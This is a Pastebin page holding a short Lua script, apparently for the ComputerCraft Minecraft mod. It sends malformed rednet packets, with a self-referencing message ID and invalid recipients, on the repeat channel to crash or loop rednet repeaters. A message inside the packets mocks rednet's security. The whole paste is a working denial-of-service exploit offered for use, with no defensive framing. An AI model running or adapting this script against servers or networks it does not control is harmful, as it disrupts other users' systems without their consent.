Advertisement
Guest User

rnexploits.lua

a guest
Nov 10th, 2018
180
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 1.21 KB | None | 0 0
  1. local rec = {}
  2. rec.rec = rec
  3.  
  4. local m = peripheral.wrap "top"
  5.  
  6. local msg = "Seriously, rednet is NOT GOOD. It lulls you into a false sense of security with its send-to-certain-IDs features but is actually as secure, if not less, as regular modem. Plus the repeaters are buggy and crashable. My name is gollark, I'm a paranoid for security and I believe that people should not use basic feature of a mod because of it"
  7.  
  8. local repeater_crash = {
  9.     nMessageID = rec,
  10.     nRecipient = -6,
  11.     message = msg
  12. }
  13.  
  14. local repeater_crash_old = {
  15.     nMessageID = 42,
  16.     nRecipient = msg,
  17.     message = msg
  18. }
  19.  
  20. local repeater_loop = {
  21.     nMessageID = rec,
  22.     nRecipient = 0,
  23.     msg = message
  24. }
  25.  
  26. local exploits = {
  27.     loop = {
  28.         send = rednet.CHANNEL_REPEAT,
  29.         reply = rednet.CHANNEL_BROADCAST,
  30.         message = repeater_loop
  31.     },
  32.     crash = {
  33.         send = rednet.CHANNEL_REPEAT,
  34.         reply = rednet.CHANNEL_BROADCAST,
  35.         message = repeater_crash
  36.     },
  37.     crash_old = {
  38.         send = rednet.CHANNEL_REPEAT,
  39.         reply = rednet.CHANNEL_BROADCAST,
  40.         message = repeater_crash_old
  41.     }
  42. }
  43.  
  44. local exp = exploits[... or "crash"]
  45. m.transmit(exp.send, exp.reply, exp.message)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement